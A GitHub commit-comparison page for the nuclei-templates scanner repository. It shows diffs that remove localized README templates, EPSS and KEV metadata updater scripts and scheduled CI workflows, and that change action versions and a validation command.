Compare commits

..
Author SHA1 Message Date
Prince Chaddha d4a9e6805d fix: improve CVE-2025-27505 template
- Enhanced description with better detail and impact
- Added missing cve-id field in classification
- Updated fofa-query to use lowercase for consistency
- Added shodan-query for better discoverability
- Added misconfig and osgeo tags for categorization
- Quoted string matchers to prevent parsing issues
2025-07-12 11:37:20 +00:00
4035 changed files with 21122 additions and 37529 deletions

No files matched your search

-87
View File
@@ -1,87 +0,0 @@
f"""
<h1 align="center">
Nuclei 模板
</h1>
<div align="center">
<a href="README.md">English</a> |
<a href="README_CN.md">简体中文</a> |
<a href="README_JA.md">日本語</a> |
<a href="README_KR.md">한국어</a>
</div>
<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
----
模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
## Nuclei模板项目情况概述
以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 文档
-----
详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
💪 贡献
-----
社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 交流
-----
如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
👨‍💻 社区
-----
欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery),与项目维护人员直接讨论,或与其他人分享有关安全和自动化的想法。
此外,您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们,了解 Nuclei 的最新动态。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
"""
-82
View File
@@ -1,82 +0,0 @@
f"""<h1 align="center">
Nuclei テンプレート
</h1>
<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
</p>
----
テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
## Nuclei テンプレートの概要
Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 ドキュメント
-----
新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
💪 貢献
-----
Nucleiテンプレートはコミュニティの貢献によって動作します。
[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 ディスカッション
-----
質問、疑問、アイデアを話し合いたいですか?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
👨‍💻 コミュニティ
-----
プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
皆さんの貢献とコミュニティの活性化への努力に感謝します。
:heart:
"""
-84
View File
@@ -1,84 +0,0 @@
f"""
<h1 align="center">
Nuclei 템플릿
</h1>
<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
</p>
----
템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
## Nuclei 템플릿 개요
고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다.
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 문서
-----
새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
💪 기여
-----
Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 논의
-----
같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
👨‍💻 커뮤니티
-----
프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
:heart:
"""
-256
View File
@@ -1,256 +0,0 @@
#!/usr/bin/env python3
"""
EPSS Score Updater for Nuclei Templates
This script updates EPSS scores for all CVE templates by:
1. Scanning all CVE YAML files
2. Extracting CVE IDs
3. Fetching latest EPSS scores from the FIRST API
4. Updating the templates with new scores
"""
import os
import re
import sys
import time
import yaml
import requests
from pathlib import Path
from typing import Dict, List, Tuple, Optional
# Configuration
EPSS_API_URL = "https://api.first.org/data/v1/epss"
BATCH_SIZE = 50 # API limit for batch requests
RATE_LIMIT_DELAY = 1 # seconds between API calls
MAX_RETRIES = 3
TIMEOUT = 30
class EPSSUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
def find_cve_templates(self) -> List[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
# Filter duplicates and sort
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
"""Fetch EPSS scores from API for multiple CVEs."""
epss_data = {}
# Process in batches
for i in range(0, len(cve_ids), BATCH_SIZE):
batch = cve_ids[i:i+BATCH_SIZE]
cve_param = ','.join(batch)
for attempt in range(MAX_RETRIES):
try:
print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
response = requests.get(
EPSS_API_URL,
params={'cve': cve_param},
timeout=TIMEOUT
)
response.raise_for_status()
data = response.json()
if data.get('status') == 'OK' and 'data' in data:
for item in data['data']:
cve_id = item['cve'].upper()
epss_data[cve_id] = {
'epss': item['epss'],
'percentile': item['percentile']
}
break # Success, exit retry loop
except requests.RequestException as e:
print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch EPSS data for batch: {batch}")
else:
time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
except Exception as e:
print(f"Unexpected error: {e}")
break
# Rate limiting between batches
if i + BATCH_SIZE < len(cve_ids):
time.sleep(RATE_LIMIT_DELAY)
return epss_data
def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
"""Update a template file with new EPSS scores."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Parse YAML to get structure
try:
template_data = yaml.safe_load(content)
except yaml.YAMLError as e:
print(f"YAML parsing error in {file_path}: {e}")
return False
if not template_data or 'info' not in template_data:
print(f"Invalid template structure in {file_path}")
return False
# Ensure classification section exists
if 'classification' not in template_data['info']:
template_data['info']['classification'] = {}
classification = template_data['info']['classification']
# Convert EPSS values to float for comparison
new_epss = float(epss_data['epss'])
new_percentile = float(epss_data['percentile'])
current_epss = classification.get('epss-score', 0)
current_percentile = classification.get('epss-percentile', 0)
# Check if update is needed
if (abs(new_epss - float(current_epss)) < 0.00001 and
abs(new_percentile - float(current_percentile)) < 0.00001):
return False # No significant change
# Update scores using string replacement to preserve formatting
epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
# Update epss-score
if 'epss-score:' in content:
content = re.sub(
r'(\s+epss-score:\s*)[0-9.]+',
fr'\g<1>{epss_score_str}',
content
)
else:
# Add after cve-id if exists
if 'cve-id:' in content:
content = re.sub(
r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
fr'\g<1> epss-score: {epss_score_str}\n',
content
)
# Update epss-percentile
if 'epss-percentile:' in content:
content = re.sub(
r'(\s+epss-percentile:\s*)[0-9.]+',
fr'\g<1>{percentile_str}',
content
)
else:
# Add after epss-score
content = re.sub(
r'(\s+epss-score:\s*[0-9.]+\s*\n)',
fr'\g<1> epss-percentile: {percentile_str}\n',
content
)
# Write updated content
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
return True
except Exception as e:
print(f"Error updating {file_path}: {e}")
return False
def run(self):
"""Main execution function."""
print("Starting EPSS score update...")
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Extract CVE IDs and map to files
cve_to_files = {}
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
if cve_id not in cve_to_files:
cve_to_files[cve_id] = []
cve_to_files[cve_id].append(file_path)
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"Found {len(cve_to_files)} unique CVE IDs")
# Fetch EPSS scores
all_cve_ids = list(cve_to_files.keys())
epss_data = self.fetch_epss_scores(all_cve_ids)
print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
# Update templates
for cve_id, files in cve_to_files.items():
if cve_id in epss_data:
for file_path in files:
if self.update_template(file_path, cve_id, epss_data[cve_id]):
self.updated_count += 1
else:
print(f"No EPSS data found for {cve_id}")
self.error_count += 1
print(f"\nUpdate complete!")
print(f"Templates updated: {self.updated_count}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EPSSUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-258
View File
@@ -1,258 +0,0 @@
#!/usr/bin/env python3
"""
KEV Tagging Updater for Nuclei Templates
This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
1. Fetching the latest CISA KEV catalog
2. Checking each CVE template against the KEV list
3. Adding 'kev' tag to the tags field for KEV CVEs
"""
import os
import re
import sys
import time
import json
import requests
from pathlib import Path
from typing import Set, Optional
# Configuration
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
TIMEOUT = 30
MAX_RETRIES = 3
class KEVUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
self.cisa_kev_cves = set()
def find_cve_templates(self) -> list[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_cisa_kev_data(self) -> Set[str]:
"""Fetch CISA KEV catalog and return set of CVE IDs."""
kev_cves = set()
for attempt in range(MAX_RETRIES):
try:
print("Fetching CISA KEV catalog...")
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'vulnerabilities' in data:
for vuln in data['vulnerabilities']:
if 'cveID' in vuln:
kev_cves.add(vuln['cveID'].upper())
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
break
else:
print("Invalid CISA KEV data format")
except requests.RequestException as e:
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print("Failed to fetch CISA KEV data")
else:
time.sleep(2 * (attempt + 1))
except Exception as e:
print(f"Unexpected error fetching CISA KEV: {e}")
break
return kev_cves
def has_kev_tag(self, content: str) -> bool:
"""Check if template already has KEV tag in tags field."""
# Look for tags field and check if kev is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for kev as a standalone tag (not part of another word)
if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
return True
return False
def add_kev_tag(self, content: str) -> tuple[str, bool]:
"""Add kev tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_kev_tag(content):
return content, False
# Find the tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2).rstrip()
# Add kev tag at the end
new_tags = existing_tags + ',kev'
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
else:
print("Warning: No tags field found to add kev tag")
return content, False
def remove_kev_tag(self, content: str) -> tuple[str, bool]:
"""Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_kev_tag(content):
return content, False
# Find and update tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2)
# Remove kev tag in various positions
new_tags = existing_tags
# Remove ,kev or kev, patterns
new_tags = re.sub(r',\s*kev\b', '', new_tags)
new_tags = re.sub(r'\bkev\s*,', '', new_tags)
new_tags = re.sub(r'^\s*kev\s*$', '', new_tags) # kev is only tag
new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags) # kev is first tag
if new_tags != existing_tags:
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
return content, False
def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
"""Update a template file with KEV tags."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
updated = False
if is_kev:
# Add kev tag if missing
content, tag_added = self.add_kev_tag(content)
if tag_added:
print(f"Added kev tag to {file_path.name}")
updated = True
else:
# Remove kev tag if present but CVE is not in KEV catalog
if self.has_kev_tag(content):
# Only remove if we're confident about our KEV data
if len(self.cisa_kev_cves) > 1000: # Sanity check
content, tag_removed = self.remove_kev_tag(content)
if tag_removed:
print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
updated = True
else:
print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
# Write updated content if changes were made
if updated:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
return True
return False
except Exception as e:
print(f"Error updating {file_path}: {e}")
self.error_count += 1
return False
def run(self):
"""Main execution function."""
print("Starting KEV tagging update...")
# Fetch KEV data
self.cisa_kev_cves = self.fetch_cisa_kev_data()
if not self.cisa_kev_cves:
print("No CISA KEV data available, exiting")
return
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Process templates
kev_found = 0
non_kev_with_tag = 0
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
is_kev = cve_id in self.cisa_kev_cves
if is_kev:
kev_found += 1
if self.update_template_with_kev(file_path, cve_id, is_kev):
self.updated_count += 1
# Track non-KEV CVEs that have kev tags for reporting
if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
non_kev_with_tag += 1
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"\nKEV update complete!")
print(f"Templates updated: {self.updated_count}")
print(f"KEV CVEs found in templates: {kev_found}")
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = KEVUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-19
View File
@@ -18,25 +18,6 @@ if __name__ == "__main__":
template = eval(open(".github/scripts/README.tmpl", "r").read())
print(template)
# Update main README.md
f = open("README.md", "w")
f.write(template)
f.close()
# Update localized README files with their respective templates
localized_files = {
"README_CN.md": ".github/scripts/README_CN.tmpl",
"README_JA.md": ".github/scripts/README_JA.tmpl",
"README_KR.md": ".github/scripts/README_KR.tmpl"
}
for readme_file, template_file in localized_files.items():
try:
localized_template = eval(open(template_file, "r").read())
f = open(readme_file, "w")
f.write(localized_template)
f.close()
except FileNotFoundError:
print(f"Template {template_file} not found, skipping {readme_file}")
continue
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
permissions: write-all
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5 # checkout the repository content
- uses: actions/checkout@v4 # checkout the repository content
- uses: actions/setup-python@v5
with:
python-version: '3.10' # install the python version needed
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/go@v1
with:
go-version: 'stable'
-53
View File
@@ -1,53 +0,0 @@
name: 📊 EPSS Score Update
on:
schedule:
# Run daily at 2:00 AM UTC
- cron: '0 2 * * *'
workflow_dispatch:
jobs:
update-epss:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update EPSS scores
run: python .github/scripts/update-epss.py
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update EPSS scores 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
-56
View File
@@ -1,56 +0,0 @@
name: 📋 KEV Tag Update
on:
schedule:
# Run daily at 3:00 AM UTC (1 hour after EPSS update)
- cron: '0 3 * * *'
workflow_dispatch:
jobs:
update-kev:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update KEV tags
run: python .github/scripts/update-kev.py
env:
# Optional: Add VulnCheck API key if available
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update KEV tags and metadata 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
+1 -1
View File
@@ -18,7 +18,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Generate new addition list
+2 -2
View File
@@ -13,7 +13,7 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.8"
@@ -21,6 +21,6 @@ jobs:
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/commit@v1
with:
files: 'README.md README_*.md'
files: 'README.md'
message: 'docs: update README 🤖'
- run: git push origin $GITHUB_REF
+1 -1
View File
@@ -16,7 +16,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/generate/checksum@v1
with:
templates-directory: '${{ github.workspace }}'
+2 -2
View File
@@ -14,7 +14,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN}}'
@@ -38,7 +38,7 @@ jobs:
runs-on: windows-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
+1 -1
View File
@@ -8,7 +8,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/templateman@v1
with:
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: projectdiscovery/actions/templates/stats@v1
+4 -4
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: karancode/[email protected]
with:
yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN }}'
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
weak-matcher-checks:
needs: lint
